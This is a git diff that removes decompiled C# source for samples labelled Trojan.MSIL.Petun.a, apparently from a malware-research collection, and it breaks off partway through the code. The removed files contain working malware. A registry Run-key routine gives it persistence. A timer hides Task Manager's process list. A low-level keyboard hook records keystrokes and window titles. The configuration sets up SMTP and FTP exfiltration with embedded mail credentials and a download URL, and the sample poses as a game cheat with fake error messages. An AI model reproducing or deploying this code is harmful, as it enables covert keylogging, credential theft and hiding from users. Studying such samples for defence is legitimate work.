a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyProject.cs deleted file mode 100644 index d0bc225d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/ROS.cs deleted file mode 100644 index c4d37cf0..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\dDqoi", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.qaILfIMaW, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 2f3f5354..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {6B05DA2C-CFE0-4A55-8187-DF891BEFCA56} - WinExe - Crackloader - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index eb99012a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Crackloader", "Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.csproj", "{6B05DA2C-CFE0-4A55-8187-DF891BEFCA56}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6B05DA2C-CFE0-4A55-8187-DF891BEFCA56}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6B05DA2C-CFE0-4A55-8187-DF891BEFCA56}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6B05DA2C-CFE0-4A55-8187-DF891BEFCA56}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6B05DA2C-CFE0-4A55-8187-DF891BEFCA56}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/VihxBEvUj.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/VihxBEvUj.cs deleted file mode 100644 index 7df3bfe4..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/VihxBEvUj.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: VihxBEvUj -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class VihxBEvUj -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - VihxBEvUj.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) VihxBEvUj.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - VihxBEvUj.EnumChildWindows(window, new VihxBEvUj.EnumDelegate(VihxBEvUj.EnumChildWindows), 0); - } - - public static bool Running - { - get => VihxBEvUj.t.Enabled; - set - { - if (value) - { - if (VihxBEvUj.t.Interval != 500) - { - Timer t = VihxBEvUj.t; - VihxBEvUj.t.Tick += new EventHandler(VihxBEvUj.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - VihxBEvUj.t.Enabled = true; - VihxBEvUj.t.Start(); - } - } - else - { - VihxBEvUj.t.Enabled = false; - VihxBEvUj.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = VihxBEvUj.GetClass(lngHwnd); - string titleText = VihxBEvUj.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - VihxBEvUj.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - VihxBEvUj.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (VihxBEvUj.GetWindowTextLength(handle) + 1); - VihxBEvUj.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/CTUpqBY.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/CTUpqBY.cs deleted file mode 100644 index 403fed7c..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/CTUpqBY.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CTUpqBY -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using System; -using System.Threading; - -internal class CTUpqBY : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public CTUpqBY(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Module1.cs deleted file mode 100644 index f0ae05fa..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Koxp-TT1882, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 46CDD81C-F46A-4297-9CDC-361B9411A2F5 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-4556d4607e9591ff64688b7123d6527b7100af77a178e43b531af74902d4f932.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool WMPGfInk = false; - private static bool QQDDemzb = false; - private static bool IaXtdouq = false; - private static bool FiyelFMC = false; - private static bool SwXJYcfX = false; - private static bool iZnxggTG = false; - private static string WvkhbtqOj = "20"; - private static string eZCSkFYSI = "AaD"; - private static int dcsvyqPeX = 1; - private static string znZBXWxfw = "izaZ"; - public static string zYRNYpEZN = "CurrentUser"; - private static string YENNMRouC = "Melt"; - private static string nYGIcFKXU = "tCrXSTRWIO"; - private static string NlDdEPJbK = "taskhost.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "KnightOnline.exe Bulunamadı..! KoxpTT1882.exe Sılındı", - "KnightOnline.exe Bulunamadı..Sılındı Sürümünüzü Onararak Lütfen Bırdaha Deneyınız.!", - "16" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool fhqOJmoVb = false; - private static string IOWmNMcSV = "http://www.exampleserver.com/directfile.exe"; - private static bool ZPdnWWJKk = false; - private static string XUOgdBkuB = "setup.exe"; - private static bool RakfJ = true; - private static bool xIcqdQqN = false; - private static string oiBxUqPH = "LHs1gVoZGRA="; - private static string OKsHggHQ = "ftp.exampleserver.com"; - private static string fJLrMRZP = "LHs1gVoZGRA="; - private static string WjiyDGwW = "/"; - private static string OtDEC = "smtp.gmail.com"; - private static string jiyDF = "HYbnzNVV7+qqg4DmmQoMfuzQt1NtGFVa"; - private static string vxSuz = "lPQmypZH+Gtff1KbilUVYg=="; - private static string JkHGh = "kimkimee53@gmail.com"; - private static string wXicu = "587"; - private static string BwIZo = "----[ "; - private static string ZDFkF = " ]----"; - private static bool wxvBY; - private static bool cswyq; - private static bool prMot = true; - private static bool ZZBJW = true; - private static bool mNnys = true; - private static bool OUQcsI = true; - private const int bJxSJz = 257; - private const short UdpSlR = 256; - private const int QOkUek = 260; - private const int qOvZoV = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string YFLemb; - - public static string MpFlrLTJo - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string dPfildCfK - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string jwIqp - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string nVmYc - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string xUqPU - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.tGiCgFXj lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int HprMotHRm(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string hDQeMdP() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object IOKWZnJLU() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void THcSJXh() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.vYEnjYs); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void nwwvBlelQ() - { - try - { - if (!Conversions.ToBoolean(Module1.IOKWZnJLU()) || Module1.HprMotHRm((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string hcdbgSL( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int vYEnjYs(int Code, int wParam, ref Module1.tGiCgFXj lParam) - { - int num; - try - { - object obj = (object) Module1.hDQeMdP(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.YFLemb = Conversions.ToString(Operators.ConcatenateObject((object) Module1.YFLemb, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.BwIZo), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.ZDFkF), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.YFLemb.EndsWith(Module1.ZDFkF + "\r\n") | !Module1.ZZBJW | Module1.YFLemb.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.YFLemb = Module1.YFLemb.Remove(checked (Module1.YFLemb.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.prMot) - { - Module1.cswyq = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.wxvBY) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.wxvBY | Module1.cswyq) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.wxvBY ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.wxvBY ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.prMot) - { - Left = " [wxvBY] "; - break; - } - Module1.wxvBY = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.wxvBY) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = 